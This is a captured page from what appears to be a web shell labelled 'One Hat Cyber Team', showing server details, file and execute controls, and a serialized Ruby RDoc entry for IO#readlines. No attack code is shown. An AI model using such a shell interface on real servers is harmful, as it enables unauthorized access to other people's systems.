⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
IO
/
View File Name :
readlines-i.ri
U:RDoc::AnyMethod[iI"readlines:ETI"IO#readlines;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"AReads all of the lines in
ios
, and returns them in ;TI"Ban array. Lines are separated by the optional
sep
. If ;TI"=
sep
is +nil+, the rest of the stream is returned ;TI"as a single record. ;TI"0If the first argument is an integer, or an ;TI"Joptional second argument is given, the returning string would not be ;TI"Ilonger than the given value in bytes. The stream must be opened for ;TI"*reading or an IOError will be raised.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [ I"f = File.new("testfile") ;TI"/f.readlines[0] #=> "This is line one\n" ;TI" ;TI"+f = File.new("testfile", chomp: true) ;TI"-f.readlines[0] #=> "This is line one" ;T:@format0o; ; [I"5See IO.readlines for details about getline_args.;T: @fileI" io.c;T:0@omit_headings_from_table_of_contents_below0I"œios.readlines(sep=$/ [, getline_args]) -> array ios.readlines(limit [, getline_args]) -> array ios.readlines(sep, limit [, getline_args]) -> array ;T0[ I"(*args);T@ FI"IO;TcRDoc::NormalClass00